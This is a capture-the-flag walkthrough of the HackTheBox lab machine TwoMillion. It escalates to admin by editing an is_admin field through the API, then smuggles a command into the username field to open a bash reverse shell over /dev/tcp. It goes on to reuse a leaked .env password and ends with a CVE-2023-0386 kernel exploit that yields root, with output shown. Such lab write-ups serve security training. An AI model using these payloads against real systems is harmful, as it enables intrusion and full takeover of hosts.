Post

HackTheBox TwoMillion

Writeup for HackTheBox TwoMillion

HackTheBox TwoMillion

Machine Synopsis

Key exploitation techniques:

  • JavaScript deobfuscation for invite code generation
  • API endpoint enumeration and parameter manipulation (admin elevation)
  • Command injection for Remote Code Execution (RCE)
  • Information disclosure via .env file (plaintext credentials)
  • Password reuse for SSH access
  • Linux Kernel Privilege Escalation (CVE-2023-0386 - OverlayFS/FUSE)

Enumeration

1
2
3
4
5
6
7
8
9
10
11
12
13
$ nmap -sC -sV 10.10.11.221

PORT     STATE SERVICE VERSION
22/tcp   open  ssh     OpenSSH 8.9p1 Ubuntu 3ubuntu0.1 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   256 3e:ea:45:4b:c5:d1:6d:6f:e2:d4:d1:3b:0a:3d:a9:4f (ECDSA)
|_  256 64:cc:75:de:4a:e6:a5:b4:73:eb:3f:1b:cf:b4:e3:94 (ED25519)
80/tcp   open  http    nginx
|_http-title: Did not follow redirect to http://2million.htb/
8888/tcp open  http    SimpleHTTPServer 0.6 (Python 3.10.6)
|_http-server-header: SimpleHTTP/0.6 Python/3.10.6
|_http-title: Directory listing for /
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

The scan identified SSH, Nginx on port 80, and a Python SimpleHTTPServer on port 8888. Browsing the web application on port 80 revealed an old HackTheBox platform login page with an “Invite Code” section.

webpage

webpage_login

webpage_join

The source code of the /invite page contained inviteapi.min.js.

1
2
3
<!-- scripts -->
<script src="/js/htb-frontend.min.js"></script>
<script defer src="/js/inviteapi.min.js"></script>

Visit http://2million.htb/js/inviteapi.min.js to view the js file.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
eval(function(p, a, c, k, e, d) {
    e = function(c) {
        return c.toString(36)
    };
    if (!''.replace(/^/, String)) {
        while (c--) {
            d[c.toString(a)] = k[c] || c.toString(a)
        }
        k = [function(e) {
            return d[e]
        }];
        e = function() {
            return '\\w+'
        };
        c = 1
    };
    while (c--) {
        if (k[c]) {
            p = p.replace(new RegExp('\\b' + e(c) + '\\b', 'g'), k[c])
        }
    }
    return p
}('1 i(4){h 8={"4":4};$.9({a:"7",5:"6",g:8,b:\'/d/e/n\',c:1(0){3.2(0)},f:1(0){3.2(0)}})}1 j(){$.9({a:"7",5:"6",b:\'/d/e/k/l/m\',c:1(0){3.2(0)},f:1(0){3.2(0)}})}', 24, 24, 'response|function|log|console|code|dataType|json|POST|formData|ajax|type|url|success|api/v1|invite|error|data|var|verifyInviteCode|makeInviteCode|how|to|generate|verify'.split('|'), 0, {}))

Deobfuscating inviteapi.min.js

1
2
3
4
5
6
7
8
9
10
  // Deobfuscated snippet from inviteapi.min.js
  function makeInviteCode(){
      $.ajax({
          type:"POST",
          dataType:"json",
          url:'/api/v1/invite/how/to/generate', // This URL is actually a hint, not the generation endpoint
          success:function(response){console.log(response)},
          error:function(response){console.log(response)}
      })
  }

Observe that there is a makeInviteCode() function available. Lets execute that in the browser console on /invite.

makeInviteCode

1
2
data: "Va beqre gb trarengr gur vaivgr pbqr, znxr n CBFG erdhrfg gb /ncv/i1/vaivgr/trarengr"
enctype: "ROT13"

Decode the cipher in rot13.com.

1
"In order to generate the invite code, make a POST request to /api/v1/invite/generate"

Exploitation

Invite Code Generation & Admin Elevation

A POST request to /api/v1/invite/generate was made to obtain an invite code.

1
2
3
4
5
6
7
8
9
$ curl -X POST http://2million.htb/api/v1/invite/generate -s | jq
{
  "0": 200,
  "success": 1,
  "data": {
    "code": "V0E1WEUtTUJCTzEtNFgzQU8tQzhGTzY=",
    "format": "encoded"
  }
}

The Base64 encoded code V0E1WEUtTUJCTzEtNFgzQU8tQzhGTzY= was decoded.

1
2
$ echo "V0E1WEUtTUJCTzEtNFgzQU8tQzhGTzY=" | base64 -d
WA5XE-MBBO1-4X3AO-C8FO6

The decoded invite code WA5XE-MBBO1-4X3AO-C8FO6 was used on the /invite page, redirecting to /register for account creation.

register

After registration and login, the “Lab Access” page was the only notable feature.

dashboard

dashboard_labaccess

Clicking on Connection Pack shows the following HTTP request.

1
GET /api/v1/user/vpn/generate HTTP/1.1

Clicking on Regenerate shows the following HTTP request.

1
GET /api/v1/user/vpn/regenerate HTTP/1.1

Sent a HTTP request to /api.

1
2
3
4
5
6
7
8
GET /api HTTP/1.1
# ...
HTTP/1.1 200 OK
Server: nginx
...
{
  "/api/v1": "Version 1 of the API"
}

API endpoint enumeration was performed by requesting /api/v1.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
GET /api/v1 HTTP/1.1
# ...
{
  "v1": {
    "user": {
      "GET": {
        "/api/v1": "Route List",
        "/api/v1/invite/how/to/generate": "Instructions on invite code generation",
        "/api/v1/invite/generate": "Generate invite code",
        "/api/v1/invite/verify": "Verify invite code",
        "/api/v1/user/auth": "Check if user is authenticated",
        "/api/v1/user/vpn/generate": "Generate a new VPN configuration",
        "/api/v1/user/vpn/regenerate": "Regenerate VPN configuration",
        "/api/v1/user/vpn/download": "Download OVPN file"
      },
      "POST": {
        "/api/v1/user/register": "Register a new user",
        "/api/v1/user/login": "Login with existing user"
      }
    },
    "admin": {
      "GET": {
        "/api/v1/admin/auth": "Check if user is admin"
      },
      "POST": {
        "/api/v1/admin/vpn/generate": "Generate VPN for specific user"
      },
      "PUT": {
        "/api/v1/admin/settings/update": "Update user settings"
      }
    }
  }
}

Tried sending an API GET request to /api/v1/admin/auth but it returned false.

Tried sending an API POST request to /api/v1/admin/vpn/generate but it returned 401 Unauthorized.

Tried sending an API PUT request to and it returned 200 OK with an error message.

1
2
3
4
5
6
7
HTTP/1.1 200 OK
Server: nginx
...
{
  "status": "danger",
  "message": "Invalid content type."
}

It appears that we need a Content-Type in the HTTP request.

1
2
3
4
PUT /api/v1/admin/settings/update HTTP/1.1
...
Content-Type: application/json
...
1
2
3
4
5
6
HTTP/1.1 200 OK
...
{
  "status": "danger",
  "message": "Missing parameter: email"
}

Now we need an email parameter in our HTTP request.

1
2
3
4
5
6
7
PUT /api/v1/admin/settings/update HTTP/1.1
...
Content-Type: application/json
...
{
	"email" : "shiro@2million.htb"
}
1
2
3
4
5
6
HTTP/1.1 200 OK
...
{
  "status": "danger",
  "message": "Missing parameter: is_admin"
}

Now we need an is_admin paramter.

1
2
3
4
5
6
7
8
PUT /api/v1/admin/settings/update HTTP/1.1
...
Content-Type: application/json
...
{
  "email": "shiro@2million.htb",
  "is_admin": true
}
1
2
3
4
5
6
HTTP/1.1 200 OK
...
{
  "status": "danger",
  "message": "Variable is_admin needs to be either 0 or 1."
}

The is_admin parameter only accepts 0 or 1 as value.

1
2
3
4
5
6
7
8
PUT /api/v1/admin/settings/update HTTP/1.1
...
Content-Type: application/json
...
{
  "email": "shiro@2million.htb",
  "is_admin": 1
}
1
2
3
4
5
6
7
HTTP/1.1 200 OK
...
{
  "id": 14,
  "username": "shiro",
  "is_admin": 1
}

The server responded with {"id": 14, "username": "shiro", "is_admin": 1}, confirming admin elevation. This was verified by a GET request to /api/v1/admin/auth, which returned {"message":true}.

Command Injection (www-data)

With admin privileges, the /api/v1/admin/vpn/generate POST endpoint was targeted for command injection.

1
2
3
4
5
6
HTTP/1.1 200 OK
...
{
  "status": "danger",
  "message": "Invalid content type."
}

It appears that we need a Content-Type in our HTTP request.

1
2
3
4
POST /api/v1/admin/vpn/generate HTTP/1.1
...
Content-Type: application/json
...
1
2
3
4
5
6
HTTP/1.1 200 OK
...
{
  "status": "danger",
  "message": "Missing parameter: username"
}

Now we need a username parameter.

1
2
3
4
5
POST /api/v1/admin/vpn/generate HTTP/1.1
...
{
  "username": "shiro"
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
HTTP/1.1 200 OK
...
client
dev tun
proto udp
remote edge-eu-free-1.2million.htb 1337
resolv-retry infinite
nobind
persist-key
persist-tun
remote-cert-tls server
comp-lzo
verb 3
data-ciphers-fallback AES-128-CBC
data-ciphers AES-256-CBC:AES-256-CFB:AES-256-CFB1:AES-256-CFB8:AES-256-OFB:AES-256-GCM
tls-cipher "DEFAULT:@SECLEVEL=0"
auth SHA256
key-direction 1
<ca>
-----BEGIN CERTIFICATE-----
...

We have successfully generated our VPN. However, the VPN generated didn’t look interesting.

Initial testing with username: "shiro;id #" confirmed command injection, as the id command’s output (uid=33(www-data) gid=33(www-data) groups=33(www-data)) was returned in the VPN configuration.

1
2
3
4
5
POST /api/v1/admin/vpn/generate HTTP/1.1
...
{
  "username": "shiro;id #"
}
1
2
3
HTTP/1.1 200 OK
...
uid=33(www-data) gid=33(www-data) groups=33(www-data)

This was leveraged to gain a reverse shell.

1
2
3
4
5
POST /api/v1/admin/vpn/generate HTTP/1.1
...
{
  "username": "shiro;bash -c 'bash -i >& /dev/tcp/$ip/9001 0>&1' #"
}

A netcat listener was set up on the attacking machine.

1
2
3
4
5
6
$ nc -nlvp 9001
listening on [any] 9001 ...
connect to [10.10.14.24] from (UNKNOWN) [10.10.11.221] 33680
bash: cannot set terminal process group (1178): Inappropriate ioctl for device
bash: no job control in this shell
www-data@2million:~/html$ 

This granted a reverse shell as www-data.

Privilege Escalation

.env File & Password Reuse (admin)

Enumeration within the /var/www/html/ directory revealed a .env file.

1
2
3
4
5
6
7
8
9
10
11
12
www-data@2million:~/html$ pwd
/var/www/html
www-data@2million:~/html$ ls -la
total 56
...
-rw-r--r--  1 root root   87 Jun  2  2023 .env
...
www-data@2million:~/html$ cat .env
DB_HOST=127.0.0.1
DB_DATABASE=htb_prod
DB_USERNAME=admin
DB_PASSWORD=SuperDuperPass123

The .env file contained plaintext database credentials: DB_USERNAME=admin and DB_PASSWORD=SuperDuperPass123. Assuming password reuse, these credentials were used to switch user to admin.

1
2
3
4
5
6
www-data@2million:~/html$ su admin
Password: SuperDuperPass123
whoami
admin
id
uid=1000(admin) gid=1000(admin) groups=1000(admin)

SSH access was then established as admin for a stable shell.

1
2
3
4
$ ssh admin@10.10.11.221
admin@10.10.11.221's password: SuperDuperPass123
...
admin@2million:~$

Linux Kernel Exploit (Root) via CVE-2023-0386

Upon SSH login, a mail message hinted at a Linux kernel vulnerability related to OverlayFS / FUSE. The mail can be found at /var/mail.

1
2
3
4
5
6
7
8
admin@2million:/var/mail$ cat admin
From: ch4p <ch4p@2million.htb>
To: admin <admin@2million.htb>
Cc: g0blin <g0blin@2million.htb>
Subject: Urgent: Patch System OS
...
That one in OverlayFS / FUSE looks nasty. We can't get popped by that.
...

The kernel version was identified using uname -a and cat /etc/lsb-release.

1
2
3
4
5
6
7
admin@2million:/var/mail$ uname -a
Linux 2million 5.15.70-051570-generic #202209231339 SMP Fri Sep 23 13:45:37 UTC 2022 x86_64 x86_64 x86_64 GNU/Linux
admin@2million:/var/mail$ cat /etc/lsb-release
DISTRIB_ID=Ubuntu
DISTRIB_RELEASE=22.04
DISTRIB_CODENAME=jammy
DISTRIB_DESCRIPTION="Ubuntu 22.04.2 LTS"

Ubuntu 22.04 with kernel 5.15.70-051570-generic is vulnerable to CVE-2023-0386 (OverlayFS/FUSE privilege escalation). The exploit code was downloaded from GitHub, transferred to /tmp on the target, and unzipped.

1
2
3
4
5
6
7
8
9
# On attacker
$ scp CVE-2023-0386.zip admin@10.10.11.221:/tmp

# On target
admin@2million:~$ cd /tmp/
admin@2million:/tmp$ unzip CVE-2023-0386.zip
admin@2million:/tmp$ cd CVE-2023-0386
admin@2million:/tmp/CVE-2023-0386$ make all
...

The exploit binaries were compiled. Following the exploit’s instructions, the fuse and exp binaries were executed.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
admin@2million:/tmp/CVE-2023-0386$ ./fuse ./ovlcap/lower ./gc &
[1] 18926
admin@2million:/tmp/CVE-2023-0386$ [+] len of gc: 0x3ee0
admin@2million:/tmp/CVE-2023-0386$ ./exp
uid:1000 gid:1000
[+] mount success
[+] readdir
[+] getattr_callback
/file
total 8
drwxrwxr-x 1 root   root     4096 May 23 13:54 .
drwxrwxr-x 6 root   root     4096 May 23 13:54 ..
-rwsrwxrwx 1 nobody nogroup 16096 Jan  1  1970 file
[+] open_callback
/file
[+] read buf callback
offset 0
size 16384
path /file
[+] open_callback
/file
[+] open_callback
/file
[+] ioctl callback
path /file
cmd 0x80086601
[+] exploit success!
To run a command as administrator (user "root"), use "sudo <command>".
See "man sudo_root" for details.
root@2million:/tmp/CVE-2023-0386#

The exploit successfully leveraged the kernel vulnerability, granting a root shell.

There was a thank_you.json at /root. You can find the decoded text here.

This post is licensed under CC BY 4.0 by the author.